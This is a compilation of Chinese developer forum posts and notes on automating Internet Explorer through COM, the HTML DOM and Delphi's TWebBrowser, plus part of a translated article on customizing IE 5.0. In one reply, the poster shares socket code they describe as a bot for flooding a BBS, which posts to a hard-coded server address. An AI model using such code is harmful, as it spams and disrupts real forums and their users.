(1) IConnectionPointContainer。这里使用这个接口的目的是

根据它得到的ⅡD来建立和DLL的一个特定的连接。比如可以进行如下

的定义:

CComQIPtr<IConnectionPointContainer,

&ⅡD_IConnectionPointContainer>

spCPContainer(m_myWebBrowser2);

然后,需要把所有IE中发生的事件和DLL进行通信,可以使用IConn

ectPoint。

(2) IConnectPoint。通过这个接口,客户可以对连接的对象开始

或者是终止一个ad visory循环。IConnectPoint有两个主要的方法,

一个为Advice,另一个为Unadvise。对于我们的应用来说,Advise是用

来在每一个IE发生的事件和DLL之间建立一个通道。而Unad vise就是

用来终止以前用Advise建立的通知关系,比如可以定义IConnectPoint

接口如下

CComPtr<IConnectionPoint> spConnectionPoint;

然后,要使所有在IE实例中发生的事件和我们的DLL相关,可以使

用如下的方法: hr =spCPContainer->FindConnectionPoint(DⅡD_DW

ebBrowserEvents2, &spConnectionPo int);

然后通过IConnectPoint接口的方法Advice使每当IE有一个新的

事件发生的时候,都能够让DLL知道。可以用如下的语句实现:

hr = spConnectionPoint->Advise((IDispatch*)this, &m_dwID

Code);

在把IE实例中的事件和我们的DLL之间建立联系以后,我们可以通

过IDispatch接口的Invoke()方法来处理所有的IE的事件。

3. IDispatch接口的Invoke()方法。

IDispatch是从IUnknown中继承的一个接口的类型,通过COM接口

提供的任何服务都可以通过IDispatch接口来实现。IDispatch::Invo

ke的工作方式同vtbl幕后的工作方式是类似的,Invoke将实现一组按

索引来访问的函数,我们可以对Invoke方法进行动态的定制以提供不

同的服务。Invoke方法的表示如下:

STDMETHOD(Invoke)(DISPID dispidMember,REFⅡD riid, LCID

lcid, WORD wFlag s,DISPPARAMS * pdispparams, VARIANT * pvarR

esult,EXCEPINFO * pexcepinfo, UIN T * puArgErr);

其中,DISPID是一个长整数,它标识的是一个函数。对于IDispatc

h的某一个特定的实现,DISPID都是唯一的。IDispatch的每一个实现

都有其自己的ⅡD,这里dispidMemeber实际上是可以认为是和IE实例

所发生的每一个事件相关的方法,比如:DISPID_BEFORENAVIG ATE2,DI

SPID_NAVIGATECOMPLETE2等等。

这个方法中另外一个比较重要的参数是DISPPARAMS,它的结构如

下:

typedef struct tagDISPPARAMS

{

VARIANTARG* rgvarg; //VARIANTARG是同VARAIANT相同的,可以

在OAIDL.IDL中找到。所以实际上rgvarg是一个参数数组

DISPID* rgdispidNameArgs; //命名参数的DISPID

unsigned int cArgs;//表示数组中元素的个数

unsigned int CnameArgs; //命名元素的个数

}DISPPARAMS

要注意的是每一个参数的类型都是VARIANTARG,所以在IE和我们D

LL之间可以传递的参数类型的数目是有限的。只有那些能够被放到VA

RIANTARG结构中的类型才可以通过调度接口进行传递。

比如对于事件DISPID_NAVIGATECOMPLETE2来说:第一个参数表示I

E在访问的URL的值,类型是VT_BYREF|VT_VARIANT。注意DISPID_NAVIG

ATECOMPLETE2等DISPID已经在VC中被定义,我们可以直接进行使用。

如上所述,我们在方法Invoke中可以得到所有IE实例所发生的事

件,我们可以把这些数据放到文件中进行事后的分析,也可以放到一个

列表框中实时显示。

4. 微软的Html文档对象模型和应用分析。

下面我们来看如何得到网页文档的接口:网页文档的接口为IHTML

Document2,可以通过调用IE COM对象的get_Document方法来得到网页

的接口。使用如下的语句:hr = m_sp WebBrowser2->get_Document(&

spDisp);CComQIPtr<IHTMLDocument2,&ⅡD_IHTMLDocume nt2> spHTM

L;spHTML = spDisp;

这样我们就得到了网页对象的接口,然后我们就可以对网页进行

分析,比如通过IHTM LDocument2提供的方法get_URL可以得到和该网

页相关的URL的地址值,通过get_forms方法可以得到该网页中所有的F

orm对象的集合。

实际上W3C组织已经制定了一个DOM(Document Objec Model)标准

,当然这个标准不仅仅是针对HTML,同时还是针对XML制定的。W3C组织

只是定义了网页对象的接口,不同的公司可以采用不同的语言和方法

进行具体的实现。按照W3C组织定义的网页对象被认为是动态的,即用

户可以动态对网页对象里面所包含的每一个对象进行操作。这里的对

象可以是指一个输入框,也可以是图像和声音等对象。同时按照W3C的

正式文档的说明,网页对象是可以动态增加和删除的。事实上,很少有

厂商实现了DOM定义的所有功能。微软对网页对象的定义也基本上是

按照这个标准实现的。但是当前的接口还不支持动态增加和删除元素

,但是可以对网页中的基本元素进行属性的修改。比如IHTMLElementC

ollection表示网页中一些基本的元素的集合,IHTMLElement表示网页

中的一个基本的元素。而像IHTMLOp tionElement接口就表示一个特

定的元素Option。基本的元素都有setAttribute和geAtt ribute方法

来动态设置和得到元素的名称和值。

较为常见的一个应用是我们能够分析网页中是否有需要填写的Fo

rms,如果这个网址的Forms以前已经填写过而且数据已经保存下来的

话,就可以把数据自动放到和该URL下的Forms的相关的位置中去。另

外,可以总结网页上需要填写的Form的数据项,先对这些数据项进行赋

值,以后碰到有相同的数据项的时候就自动把赋值的内容填写进去。

实际上For m是对象,Form中包含的元素,比如INPUT、OPTION、SELECT

等类型的输入元素都是对象。

另外一个可以想到的应用是自动对网页中的文本进行翻译,因为

可以修改网页中任何对象的属性,所以可以把里面不属于本国语言的

部分自动翻译成本国语言,当然真正的实现还要靠自然语言理解方面

的技术突破,但是IE浏览器的接口和对象的形式使我们能够灵活控制

整个IE,无论是从事件对象还是到网页对象。


怎样得到从IE5.0中拖放到我的程序窗口的快捷方式的内容
请问高手，怎样得到从ie5.0中拖放到我编写的程序的快捷方式的内容，就象网络蚂蚁一样，

把快捷方式拖到窗口中就可以下载拖到此窗口快捷方式所指的程序。

：mafan 时间：01-3-13 14:40:27 ID:469481

我在VB中实现过，给你一个VB的例子

放一个TEXT，将其属性中的OLEDROPMODE=1

加上这个事件的处理

Private Sub Text1_OLEDragDrop(Data As DataObject,

Effect As Long,

Button As Integer,

Shift As Integer,

X As Single,

Y As Single)

Text1.Text = Data.GetData(vbCFText)‘这里就是得到的URL

End Sub

同样你在DELPHI中引用一个微软的ACTIVEX，比如RICHTEXT，按上述方法即可！

procedure TForm1.MSRichTextBox1OLEDragDrop(Sender: TObject;

var Data: IVBDataObject; var Effect: Integer; var Button,

Shift: Smallint; var x, y: Single);

begin

MSRichTextBox1.Text:= Data.GetData(1);

end;

mafan回答的这个挺有意思的，我试了一下可以得到Drag的Text。

原来Delphi有那么多东西没有封装进去。


使用activeform在ie5中浏览为什么会出现花屏
来自：大文 时间：00-10-9 14:16:22 ID:360788

这是“win1998”回答的问题，我只是照搬而已：

我也有同样的问题，有一位高手给我说。现已解决如下：

1：打开 delphi 下source.pas

2: 到：

function TActiveXControl.SetObjectRects(const rcPosRect: TRect;

const rcClipRect: TRect): HResult;

var

WinRect: TRect;

begin

try

IntersectRect(WinRect, rcPosRect, rcClipRect);

// 原行 FWinControl.BoundsRect := WinRect;

// 修改如下 modify by xuan 2000.08.09

FWinControl.BoundsRect := rcPosRect; //〈--- n=modify this word

Result := S_OK;

except

Result := HandleException;

end;

3: save it

4: new project application

add axctsls.pas to this project, and then compile project,

late, copy axctrls.dcu to ..lib and overwirte old file axctrls.dcu !

宣舟灿

win1998@21cn.com


搜索引擎
请问：

实现如下的功能应该怎么做？

我想在自己的程序中封装一个搜索引擎（例如Google）的页面，然后根据用户事先提供的关键字，用代码实现“把关键字写入文本框，选定搜索方式，然后点击搜索按钮”的过程，应该怎么做？

其实我要实现的功能就是根据关键字显示搜索的结果，是否还有可以实现功能的更好思路？请指教。谢谢

就是直接使用http协议啊！

象我自己做了一个在我的家乡的BBS刷屏的机器……

这样做：

先定义：

char MyStr[65535]="POST /cgi-bin/xybook/bbs.cgi HTTP/1.1da"

"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*da"

"Referer: 127.0.0.1da"

"Accept-Language: zh-cnda"

"Content-Type: application/x-www-form-urlencodedda"

"Accept-Encoding: gzip, deflateda"

"User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)da"

"Host: www.xy.gz.cnda"

"Content-Length: 255da"

"Connection: Keep-Aliveda";

char strBuffer[9000];

//////////////////////////////////////////

然后：

AddStr = ("PUT http://202.98.201.244/cgi-bin/xybook/bbs.cgi?menu=addtitle&id=" +

Id + "&username=" + UserName.c_str() + "&userpsd=" + UserPsd.c_str()

+ "&mail=" + Mail.c_str() + "&home=" + Home.c_str() + "&emote=" + Emote.c_str()

+ "&titles=" + TitleEdit->Text.c_str() + "&comment=" + tempStr.c_str() + "");//cgi程序的提交形式

strcpy(MyStr,AddStr.c_str());

SendMyMessage();//这个函数见下：

bool __fastcall TMainForm::SendMyMessage(void)

{

WSADATA ws;

SOCKET s;

struct sockaddr_in addr;

int iResult;

long lResult;

flag = true;

lResult = WSAStartup(0x0101,&ws);

s = socket(AF_INET,SOCK_STREAM,0);

addr.sin_family = AF_INET;

addr.sin_port = htons(80);

addr.sin_addr.s_addr = inet_addr ("202.98.201.244");

iResult=connect(s,(struct sockaddr *) &addr, sizeof(addr));

if(SOCKET_ERROR == iResult){// 连接失败

WSACleanup();

ShowMessage("连接服务器失败！！！请检查网络是否畅通！");

return false;

}else{// 连接成功

iResult = send(s,MyStr,sizeof(MyStr),0);

do

{

strset(strBuffer,' ');

iResult = recv(s,strBuffer,sizeof(strBuffer),0);

if(flag == true){

if(AnsiPos("<META HTTP-EQUIV=Refresh", AnsiString(strBuffer))<=0){

ShowMessage("错误！发送失败！请检查你的配置！比如密码和用户名等！");

Timer->Enabled = false;

}

flag = false;

}

Application->ProcessMessages();

}

while( iResult !=0 );

}

WSACleanup();

return true;

}

当然，这之前你要对你提交的被容先行处理：

AnsiString tempStr = ComMemo->Text;

tempStr = StringReplace(tempStr,'%',"%25",rf);

tempStr = StringReplace(tempStr,'=',"%3d",rf);

tempStr = StringReplace(tempStr,'&',"%26",rf);

tempStr = StringReplace(tempStr,'\',"%5c",rf);

tempStr = StringReplace(tempStr,'/',"%2f",rf);

tempStr = StringReplace(tempStr,'?',"？",rf);

tempStr = StringReplace(tempStr,'',"%0a",rf);

tempStr = StringReplace(tempStr,'',"%0d",rf);

tempStr = StringReplace(tempStr,' ',"%20",rf);

tempStr = StringReplace(tempStr,'<',"%3c",rf);

tempStr = StringReplace(tempStr,'>',"%3e",rf);

tempStr = StringReplace(tempStr,'#',"%23",rf);

tempStr = StringReplace(tempStr,'$',"%24",rf);

等等！


用API函数开不同的浏览器窗口
请问如何用WINDOWS API函数开不同的浏览器窗口？我用了SHELLEXECUTE函数，可是每次只

能开一个窗口，再执行时还是一个窗口。旧的内容都被新的内容覆盖了。怎样才能开新窗口？

1:ShellExecute(handle....) handle不一样即可；

2：

uses ComObj;

procedure TForm1.Button1Click(Sender: TObject);

procedure OpenInIE(aURL: string); //need uses ComObj;

var

IE : Variant;

begin

IE := CreateOleObject('InternetExplorer.Application');

IE.Visible := true;

IE.Navigate(aURL);

end;

begin

OpenInIE('www.delphibbs.com');

end;

最简单的方法：

ShellExecute(handle,'open','Explorer','Your www URL',nil,SW_SHOW);

即可。


取得多frame的每个Frame中的内容
1、如何在程序中取得多frame的每个Frame中的内容 100分

单个Frame的页面可用

wb_DataInfo.OleObject.document.documentelement.innerhtml;

wb_DataInfo.OleObject.document.documentelement.innerText;

WebBrowser1.oleobject.document.links.item(i).href

等取得内容或联接，但如果是多Frame，则只能得到主页面的内容，如何取得Frames的数量及每个Frame的内容？

不知你是取TEXT还是HTML不过没关系全可以实现。

当页面下载到浏览器中以后，

procedure TForm1.BitBtn1Click(Sender: TObject);

var

i,j:integer;

begin

memo1.Clear;

i:=webbrowser1.oleobject.document.documentelement.document.frames.length；//得到frame的数量。

memo1.Lines.Add('have Frames: '+inttostr(i));

for j:=0 to i-1 do

begin

memo1.lines.add('');

memo1.Lines.Add('Frame '+inttostr(j+1)+' from here');

memo1.Lines.Add(webbrowser1.oleobject.document.

documentelement.document.frames.item(j).document.

documentelement.innerHtml);//取得每个Frame中的HTML内容

end;

end;


IE相关
twebbrowser控件怎么保存网页？

保存全部webbrowser1.ExecWB(OLECMDID_SAVEAS,OLECMDEXECOPT_DODEFAULT);

仅html，可以用(webbrowser1.Document as Ihtmldocument2).body.outerHtml得到网页的html源码，一个WideString，保存成文件很简单。

Ihtmldocument2在MShtml单元里

在MSDN里面可以查到详细的webbrowser的资料

设定字符集：

procedure SetCharSet(AWebBrowser: TWebBrowser; ACharSet: String);

    var

      RefreshLevel: OleVariant;

    Begin

      IHTMLDocument2(AWebBrowser.Document).Set_CharSet(ACharSet);

      RefreshLevel :=7;　　　　　　　　　　　　　　//这个7应该从注册表来，帮助有Bug。

      AWebBrowser.Refresh2(RefreshLevel);

    End;

使WebBrowser获得焦点

    TWebBrowser非常特殊，它从TWinControl继承来的SetFocus方法并不能使得它所包含的文档获得焦点，从而不能立即使用Internet Explorer本身具有得快捷键，解决方法如下：<

    procedure TForm1.SetFocusToDoc;

    begin

      if WebBrowser1.Document <> nil then

        with WebBrowser1.Application as IOleobject do

          DoVerb(OLEIVERB_UIACTIVATE, nil, WebBrowser1, 0, Handle, GetClientRect);

    end;

    除此之外，我还找到一种更简单的方法，这里一并列出：

    if WebBrowser1.Document <> nil then

      IHTMLWindow2(IHTMLDocument2(WebBrowser1.Document).ParentWindow).focus

、点击“提交”按钮

    如同程序里每个窗体上有一个“缺省”按钮一样，Web页面上的每个Form也有一个“缺省”按钮--即属性为“Submit”的按钮，当用户按下回车键时就相当于鼠标单击了“Submit”。但是TWebBrowser似乎并不响应回车键，并且，即使把包含TWebBrowser的窗体的KeyPreview设为True，在窗体的KeyPress事件里还是不能截获用户向TWebBrowser发出的按键。

    我的解决办法是用ApplicatinEvents构件或者自己编写TApplication对象的OnMessage事件，在其中判断消息类型，对键盘消息做出响应。至于点击“提交”按钮，可以通过分析网页源代码的方法来实现，不过我找到了更为简单快捷的方法，有两种，第一种是我自己想出来的，另一种是别人写的代码，这里都提供给大家，以做参考。

    A、用SendKeys函数向WebBrowser发送回车键

       在Delphi 5光盘上的Info目录下有一个SndKey32.pas文件，其中包含了两个函数SendKeys和AppActivate，我们可以用SendKeys函数来向WebBrowser发送回车键，我现在用的就是这个方法，使用很简单，在WebBrowser获得焦点的情况下（不要求WebBrowser所包含的文档获得焦点），用一条语句即可：

      Sendkeys('~',true);// press RETURN key

      SendKeys函数的详细参数说明等，均包含在SndKey32.pas文件中。

    B、在OnMessage事件中将接受到的键盘消息传递给WebBrowser。

      procedure TForm1.ApplicationEvents1Message(var Msg: TMsg; var Handled: Boolean);

      {fixes the malfunction of some keys within webbrowser control}

      const

        StdKeys = [VK_TAB, VK_RETURN]; { standard keys }

        ExtKeys = [VK_DELETE, VK_BACK, VK_LEFT, VK_RIGHT]; { extended keys }

        fExtended = $01000000; { extended key flag }

      begin

        Handled := False;

        with Msg do

        if ((Message >= WM_KEYFIRST) and (Message <= WM_KEYLAST)) and

          ((wParam in StdKeys) or

          {$IFDEF VER120}(GetKeyState(VK_CONTROL) < 0) or {$ENDIF}

          (wParam in ExtKeys) and

          ((lParam and fExtended) = fExtended)) then

        try

          if IsChild(Handle, hWnd) then { handles all browser related messages }

          begin

            with {$IFDEF VER120}Application_{$ELSE}Application{$ENDIF} as

                IOleInPlaceActiveObject do

              Handled := TranslateAccelerator(Msg) = S_OK;

              if not Handled then

              begin

                Handled := True;

                TranslateMessage(Msg);

                DispatchMessage(Msg);

              end;

              end;

        except

        end;

      end; // MessageHandler

    （此方法来自EmbeddedWB.pas）

直接从TWebBrowser得到网页源码及Html

    下面先介绍一种极其简单的得到TWebBrowser正在访问的网页源码的方法。一般方法是利用TWebBrowser控件中的Document对象提供的IPersistStreamInit接口来实现，具体就是：先检查WebBrowser.Document对象是否有效，无效则退出；然后取得IPersistStreamInit接口，接着取得HTML源码的大小，分配全局堆内存块，建立流，再将HTML文本写到流中。程序虽然不算复杂，但是有更简单的方法，所以实现代码不再给出。其实基本上所有IE的功能TWebBrowser都应该有较为简单的方法来实现，获取网页源码也是一样。下面的代码将网页源码显示在Memo1中。

      Memo1.Lines.Add(IHtmlDocument2(WebBrowser1.Document).Body.OuterHtml);

    同时，在用TWebBrowser浏览HTML文件的时候要将其保存为文本文件就很简单了，不需要任何的语法解析工具，因为TWebBrowser也完成了，如下：

      Memo1.Lines.Add(IHtmlDocument2(WebBrowser1.Document).Body.OuterText);

、“查找”功能

    查找对话框可以在文档获得焦点的时候通过按键Ctrl-F来调出，程序中则调用IOleCommandTarget对象的成员函数Exec执行OLECMDID_FIND操作来调用，下面给出的方法是如何在程序中用代码来做出文字选择，即你可以自己设计查找对话框。

      var

        Doc: IHtmlDocument2;

        TxtRange: IHtmlTxtRange;

      begin

        Doc :=WebBrowser1.Document as IHtmlDocument2;

        Doc.SelectAll;　　　　//此处为简写，选择全部文档的方法请参见第三条命令操作

                                //这句话尤为重要，因为IHtmlTxtRange对象的方法能够操作的前提是

                                //Document已经有一个文字选择区域。由于接着执行下面的语句，所以不会

                                //看到文档全选的过程。

        TxtRange :=Doc.Selection.CreateRange as IHtmlTxtRange;

        TxtRange.FindText('Text to be searched',0.0);

        TxtRange.Select;

      end;

    还有，从Txt.Get_text可以得到当前选中的文字内容，某些时候是有用的。

提取网页中所有链接

    这个方法来自大富翁论坛hopfield朋友的对一个问题的回答，我本想自己试验，但总是没成功。

    var

      doc:IHTMLDocument2;

      all:IHTMLElementCollection;

      len,i:integer;

      item:OleVariant;

    begin

      doc:=WebBrowser1 .Document as IHTMLDocument2;

      all:=doc.Get_links;　　　　　　　　　　　　　//doc.Links亦可

      len:=all.length;

      for i:=0 to len-1 do begin

        item:=all.item(i,varempty);　　　　　　　　//EmpryParam亦可

        memo1.lines.add(item.href);

      end;

    end;

初始化和终止化（Initialization & Finalization）

    大家在执行TWebBrowser的某个方法以进行期望的操作，如ExecWB等的时候可能都碰到过“试图激活未注册的丢失目标”或“OLE对象未注册”等错误，或者并没有出错但是得不到希望的结果，比如不能将选中的网页内容复制到剪贴板等。以前用它编程的时候，我发现ExecWB有时侯起作用但有时侯又不行，在Delphi生成的缺省工程主窗口上加入TWebBrowser，运行时并不会出现“OLE对象未注册”的错误。同样是一个偶然的机会，我才知道OLE对象需要初始化和终止化（懂得的东东实在太少了）。

    我用我的前一篇文章《Delphi程序窗口动画&正常排列平铺的解决》所说的方法编程，运行时出了上面所说的错误，我便猜想应该有OleInitialize之类的语句，于是，找到并加上了下面几句话，终于搞定！究其原因，我想大概是由于TWebBrowser是一个嵌入的OLE对象而不算是用Delphi编写的VCL吧。

    initialization

      OleInitialize(nil);

    finalization

      try

        OleUninitialize;

      except

      end;

    这几句话放在主窗口所有语句之后，“end.”之前。

、EmptyParam

    在Delphi 5中TWebBrowser的Navigate方法被多次重载：

    procedure Navigate(const URL: WideString); overload;

    procedure Navigate(const URL: WideString; var Flags: OleVariant); overload;

    procedure Navigate(const URL: WideString; var Flags: OleVariant; var TargetFrameName: 　　　　OleVariant); overload;

    procedure Navigate(const URL: WideString; var Flags: OleVariant; var TargetFrameName: 　　　　OleVariant; var PostData: OleVariant); overload;

    procedure Navigate(const URL: WideString; var Flags: OleVariant; var TargetFrameName: 　　　　OleVariant; var PostData: OleVariant; var Headers: OleVariant); overload;

    而在实际应用中，使用后几种方法调用时，由于我们很少用到后面几个参数，但函数声明又要求是变量参数，一般的做法如下：

    var

      t:OleVariant;

    begin

      webbrowser1.Navigate(edit1.text,t,t,t,t);

    end;

    需要定义变量t（还有很多地方要用到它），很麻烦。其实我们可以用EmptyParam来代替（EmptyParam是一个公用的Variant空变量，不要对它赋值），只需一句话就可以了：

    webbrowser1.Navigate(edit1.text,EmptyParam,EmptyParam,EmptyParam,EmptyParam);

    虽然长一点，但比每次都定义变量方便得多。当然，也可以使用第一种方式。

    webbrowser1.Navigate(edit1.text)

命令操作

    常用的命令操作用ExecWB方法即可完成，ExecWB同样多次被重载：

    procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT); overload;

    procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT; var pvaIn:

        OleVariant); overload;

    procedure ExecWB(cmdID: rOLECMDID; cmdexecopt: OLECMDEXECOPT; var pvaIn:

        OleVariant; var pvaOut: OleVariant); overload;

    打开：　弹出“打开Internet地址”对话框，CommandID为OLECMDID_OPEN（若浏览器版本为IE5.0，

            则此命令不可用）。

    另存为：调用“另存为”对话框。

            ExecWB(OLECMDID_SAVEAS,OLECMDEXECOPT_DODEFAULT, EmptyParam,

                      EmptyParam);

    打印、打印预览和页面设置：　调用“打印”、“打印预览”和“页面设置”对话框（IE5.5及以上版本才支持打

                                印预览，故实现应该检查此命令是否可用）。

            ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_DODEFAULT, EmptyParam,

                      EmptyParam);

            if QueryStatusWB(OLECMDID_PRINTPREVIEW)=3 then

              ExecWB(OLECMDID_PRINTPREVIEW, OLECMDEXECOPT_DODEFAULT,

                      EmptyParam,EmptyParam);

            ExecWB(OLECMDID_PAGESETUP, OLECMDEXECOPT_DODEFAULT, EmptyParam,

                      EmptyParam);

    剪切、复制、粘贴、全选：　功能无须多说，需要注意的是：剪切和粘贴不仅对编辑框文字，而且对网页上的非编

                              辑框文字同样有效，用得好的话，也许可以做出功能特殊的东东。获得其命令使能状

                              态和执行命令的方法有两种（以复制为例，剪切、粘贴和全选分别将各自的关键字替

                              换即可，分别为CUT,PASTE和SELECTALL）：

      A、用TWebBrowser的QueryStatusWB方法。

          if(QueryStatusWB(OLECMDID_COPY)=OLECMDF_ENABLED) or

            OLECMDF_SUPPORTED) then

            ExecWB(OLECMDID_COPY, OLECMDEXECOPT_DODEFAULT, EmptyParam,

                      EmptyParam);

      B、用IHTMLDocument2的QueryCommandEnabled方法。

          var

            Doc: IHTMLDocument2;

          begin

            Doc :=WebBrowser1.Document as IHTMLDocument2;

            if Doc.QueryCommandEnabled('Copy') then

              Doc.ExecCommand('Copy',false,EmptyParam);

          end;

    查找：　参考第九条“查找”功能。

字体大小

    类似“字体”菜单上的从“最大”到“最小”五项（对应整数0～4，Largest等假设为五个菜单项的名字，Tag 属性分别设为0～4）。

      A、读取当前页面字体大小。

          var

            t: OleVariant;

          Begin

            WebBrowser1.ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER,

              EmptyParam,t);

            case t of

            4: Largest.Checked :=true;

            3: Larger.Checked :=true;

            2: Middle.Checked :=true;

            1: Small.Checked :=true;

            0: Smallest.Checked :=true;

            end;

          end;

      B、设置页面字体大小。

          Largest.Checked :=false;

          Larger.Checked :=false;

          Middle.Checked :=false;

          Small.Checked :=false;

          Smallest.Checked :=false;

          TMenuItem(Sender).Checked :=true;

          t :=TMenuItem(Sender).Tag;

          WebBrowser1.ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER,

            t,t);

--------------------------------------------------------------------------------------------------------

５、添加到收藏夹和整理收藏夹

         const

          CLSID_ShellUIHelper: TGUID = '{64AB4BB7-111E-11D1-8F79-00C04FC2FBE1}';

        var

          p:procedure(Handle: THandle; Path: PChar); stdcall;

        procedure TForm1.OrganizeFavorite(Sender: Tobject);

        var

          H: HWnd;

        begin

          H := LoadLibrary(PChar('shdocvw.dll'));

          if H <> 0 then

          begin

        p := GetProcAddress(H, PChar('DoOrganizeFavDlg'));

            if Assigned(p) then p(Application.Handle, PChar(FavFolder));

          end;

          FreeLibrary(h);

        end;

        procedure TForm1.AddFavorite(Sender: TObject);

        var

          ShellUIHelper: ISHellUIHelper;

          url, title: Olevariant;

        begin

          Title := Webbrowser1.LocationName;

          Url := Webbrowser1.LocationUrl;

          if Url <> '' then

          begin

            ShellUIHelper := CreateComObject(CLSID_SHELLUIHELPER) as IShellUIHelper;

            ShellUIHelper.AddFavorite(url, title);

          end;

        end;

    用上面的通过ISHellUIHelper接口来打开“添加到收藏夹”对话框的方法比较简单，但是有个缺陷，就是打开的窗口不是模式窗口，而是独立于应用程序的。可以想象，如果使用与OrganizeFavorite过程同样的方法来打开对话框，由于可以指定父窗口的句柄，自然可以实现模式窗口（效果与在资源管理器和IE中打开“添加到收藏夹”对话框相同）。问题显然是这样的，上面两个过程的作者当时只知道shdocvw.dll中DoOrganizeFavDlg的原型而不知道DoAddToFavDlg的原型，所以只好用ISHellUIHelper接口来实现（或许是他不够严谨，认为是否是模式窗口无所谓？）。

    下面的过程就告诉你DoAddToFavDlg的函数原型。需要注意的是，这样打开的对话框并不执行“添加到收藏夹”的操作，它只是告诉应用程序用户是否选择了“确定”，同时在DoAddToFavDlg的第二个参数中返回用户希望放置Internet快捷方式的路径，建立.Url文件的工作由应用程序自己来完成。

        procedure TForm1.AddFavorite(IE: TEmbeddedWB);

          procedure CreateUrl(AUrlPath, AUrl: PChar);

          var

            URLfile: TIniFile;

          begin

            URLfile := TIniFile.Create(String(AUrlPath));

          RLfile.WriteString('InternetShortcut', 'URL', String(AUrl));

          RLfile.Free;

          end;

        var

          AddFav: function(Handle: THandle;

            UrlPath: PChar; UrlPathSize: Cardinal;

            Title: PChar; TitleSize: Cardinal;

            FavIDLIST: pItemIDList): Bool; stdcall;

          FDoc: IHTMLDocument2;

          UrlPath, url, title: array[0..MAX_PATH] of char;

          H: HWnd;

          pidl: pItemIDList;

          FRetOK: Bool;

        begin

          FDoc := IHTMLDocument2(IE.Document);

          if FDoc = nil then exit;

          StrPCopy(Title, FDoc.Get_title);

          StrPCopy(url, FDoc.Get_url);

          if Url <> '' then

          begin

            H := LoadLibrary(PChar('shdocvw.dll'));

            if H <> 0 then

            begin

              SHGetSpecialFolderLocation(0, CSIDL_FAVORITES, pidl);

              AddFav := GetProcAddress(H, PChar('DoAddToFavDlg'));

              if Assigned(AddFav) then

                FRetOK :=AddFav(Handle, UrlPath, Sizeof(UrlPath), Title, Sizeof(Title), pidl)

            end;

            FreeLibrary(h);

            if FRetOK then

              CreateUrl(UrlPath, Url);

          end

        end;


关于IE的几个问题
： 1）我用鼠标选择了Twebbrowser中的一段文字，想按Twebbrowser外的一按键，就能将选中的文字读出到一定义的字符变量，该如何做？？ 2）我如何能够得到选中文字的第一个字符在屏幕中的位置，如（430，250）。。？

TechnoFantasy(www.applevb.com)　(2001-5-29 20:12:00) 得0分

获得选择的文本的代码：

procedure TForm1.Button1Click(Sender: TObject);

var

FDoc:IHTMLDocument2;

FSel:IHTMLSelectionObject;

FRange:IHTMLTxtRange;

begin

FDoc:=Webbrowser1.Document as IHTMLDocument2;

FRange:=FDoc.selection.createRange as IHTMLTxtRange;

Memo1.Text:=FRange.Get_text;

end;

首先需要在uses中引用MSHTML

  回复人：TechnoFantasy(www.applevb.com)　(2001-5-29 20:21:00) 得0分

获得位置的代码：

x:= FRange.parentElement.offsetLeft ;

y:=FRange.parentElement.Get_offsetTop;

Label1.Caption := INtToStr(x);

Label2.Caption := INtToStr(y);

承接上面的代码，不过只能获得相对于父元素的位置，不能获得相对于Window的位置。


定制IE 5.0
Download the code (13KB)

定制IE 5.0

Dino Esposito

张中华 翻译讲解

==============

张某前言：金山词霸、网络蚂蚁这些软件是怎么在IE5.0里添加工具条按钮和右键菜单呢？读了Dino Esposito的这篇文章，你就一清二楚了。你可以只看中文翻译讲解部分，如不能充分理解明白，请看对照的原文。

本文原文在MSDN网站上有：

Dino Esposito, "Customizing Microsoft Internet Explorer 5.0", MIND, 1999年11月期

在MSDN中的路径为：

Periodicals | Periodicals 1999 | Microsoft Internet Developer | November

MSDN中，关于IE应用开发的更多信息位于：

Platform SDK | Web Services | Workshop | Reusing Browser Technology

由于这里不能放图片，建议看译者网a站上的：

http://zzh-cn.com

==============

Nowadays, writing a completely custom browser is not a difficult task—provided you can rely on the WebBrowser control that's available starting with Microsoft?Internet Explorer 3.0. The browser helper objects (BHO) introduced with Internet Explorer 4.0 gave you an opportunity to add even complex new functionality to the original browser. A couple of working examples of BHOs can be found in Scott Roberts' article in the May 1998 issue of MIND and in the January/February 1999 issue of MSDN?News.

==============

翻译讲解：有哪些技术、工具可用来定制IE浏览器呢？从IE3.0开始提供的WebBrowser control，从IE4.0开始提供的Browser Helper Objects(BHOs)，就是让开发人员用来定制IE的。Scott Roberts和Dino Esposito写有BHOs相关的介绍文章：

Scott Roberts, "Controlling Internet Explorer 4.0 with Browser Helper Objects", MIND, 1998年5月期

Dino Esposito, "Browser Helper Objects: The Browser the Way You Want It", MSDN News, 1999年1/2月期

==============

There is just one aspect missing from all these pre-Internet Explorer 5.0 programming goodies: you couldn't associate new functionality with the browser's user interface. You had no way to add new toolbar buttons or to customize any of the menus. Thankfully, this problem has been solved with Internet Explorer 5.0.

==============

翻译讲解：但是这些IE5.0之前的技术有个缺点：就是你不能把功能和用户界面联系起来，即你不能往工具条上增加按钮，也不能往菜单里增加菜单项。谢天谢地，IE5.0解决了这些问题。

==============

Let's look at the new ways you can interface with the Internet Explorer UI, the points at which you're allowed to intervene, and what you can actually obtain through code. I'll briefly review the highlights of BHOs, focusing on scripting-related aspects of Internet Explorer 5.0 customization and registry changes. Windows Script Host (WSH) will be my development environment of choice here.

==============

翻译讲解：现在就让我们看看是怎么做的，本文使用的开发环境为Windows Script Host(WSH)。

==============

Customizable Aspects of Internet Explorer 5.0

Figure 1 summarizes the aspects of Internet Explorer 5.0 that can be considered customizable. In particular, you can add new toolbar buttons and menu items. For each, you specify the text and icons to add to the particular object, as well as the code that you should run when the user selects the new entry. The browser has a number of context menus that appear when you right-click an image, a document, a table, an ActiveX?control, selected text, and other items. You can add new items to any of the context menus and have full control over the whole process that displays the menu. In other words, you can detect when the context menu is about to be shown and add your changes on the fly.

==============

翻译讲解：Figure 1概括了IE5.0可定制的方面。最令人关注的就是可增加工具条按钮和菜单项。右键点击弹出的菜单叫context menu，也可以往里面增加菜单项。

==============

Internet Explorer 5.0 comes with a number of related applications that let you work outside the Web, such as email or news readers, HTML editors, and so on. You can modify the list of available applications to fit your needs. The search bar can be enhanced and you can even use your own search panel.

==============

